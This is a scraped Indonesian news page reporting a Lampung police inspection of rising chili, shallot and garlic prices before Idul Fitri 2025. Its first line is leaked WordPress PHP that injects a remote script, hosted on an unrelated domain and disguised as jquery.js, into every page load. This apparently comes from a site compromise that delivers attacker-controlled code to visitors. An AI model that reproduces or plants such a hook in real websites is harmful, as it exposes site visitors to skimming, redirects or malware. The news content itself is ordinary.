add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Polda Lampung Sidak Pasar, Pastikan Harga Bapokting Jelang Idul Fitri Terkendali - Atmosfirnews.id

Polda Lampung Sidak Pasar, Pastikan Harga Bapokting Jelang Idul Fitri Terkendali

- Jurnalis

Rabu, 26 Maret 2025 - 15:22 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy


LAMPUNG – Atmosfirnews.id

Menjelang Idul fitri, harga sejumlah bahan pokok penting (bapokting) di Bandar Lampung mengalami kenaikan. Untuk memastikan stabilitas harga dan ketersediaan stok, Satuan Tugas (Satgas) Pangan Polda Lampung bersama Dinas Perindustrian dan Perdagangan (Disperindag) serta stakeholder terkait turun langsung ke pasar tradisional.

Kabid Humas Polda Lampung, Kombes Pol Yuni Iswandari Yuyun, mengatakan sidak dilakukan di lima pasar tradisional di Bandar Lampung dan serentak di 15 kabupaten/kota di Provinsi Lampung.

“Hasil pemantauan menunjukkan ada kenaikan harga pada beberapa komoditas seperti cabai merah, bawang merah, dan bawang putih. Namun, secara keseluruhan stok masih mencukupi hingga Lebaran,” ujar Kombes Pol Yuyun, Rabu (26/3/2025).

Baca Juga :  Polda Lampung Gagalkan Penyelundupan 8 Kg Ganja asal Medan

*Cabai dan Bawang Melonjak, Daging Masih Stabil*

Di Pasar Tugu, Bandar Lampung, harga cabai merah yang sebelumnya Rp70 ribu per kilogram kini naik menjadi Rp75-80 ribu per kilogram. Cabai caplak yang semula Rp90 ribu per kilogram kini menyentuh Rp95 ribu per kilogram, sementara bawang merah mengalami kenaikan Rp5 ribu per kilogram.

Meski beberapa komoditas mengalami kenaikan, harga daging masih dalam tahap normal dan sesuai dengan acuan pemerintah.

“Untuk daging, ada kenaikan, tapi masih dalam batas wajar dan stoknya juga aman,” kata Kombes Pol Yuyun.

Baca Juga :  Perkuat Kolaborasi Internasional, Prodi Ilmu Perpustakaan dan Informasi Islam (IPII) Jalin Kerjasama dengan I-LISS

*Satgas Pangan Terus Pantau Pergerakan Harga*

Satgas Pangan Polda Lampung akan terus melakukan pemantauan harga dan distribusi bahan pokok di seluruh wilayah Lampung.

Data dari kabupaten/kota lain masih dikumpulkan guna mendapatkan gambaran lebih luas mengenai tren harga di pasaran.

“Kami terus berkoordinasi dengan dinas terkait untuk memastikan harga tetap terkendali dan stok tersedia. Masyarakat tidak perlu khawatir menghadapi lonjakan harga menjelang Lebaran,” tambahnya.

Ia juga mengimbau masyarakat agar tetap bijak dalam berbelanja dan menghindari aksi borong yang dapat memicu kelangkaan serta lonjakan harga lebih tinggi.

Penulis : Redaksi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Cabdin Pendidikan Wilayah II Gandeng UPT Perpustakaan UIN Raden Intan Perkuat Ekosistem Literasi Sekolah
Berita ini 5 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 19:56 WIB

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Minggu, 23 Agustus 2026 - 12:23 WIB

Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Berita Terbaru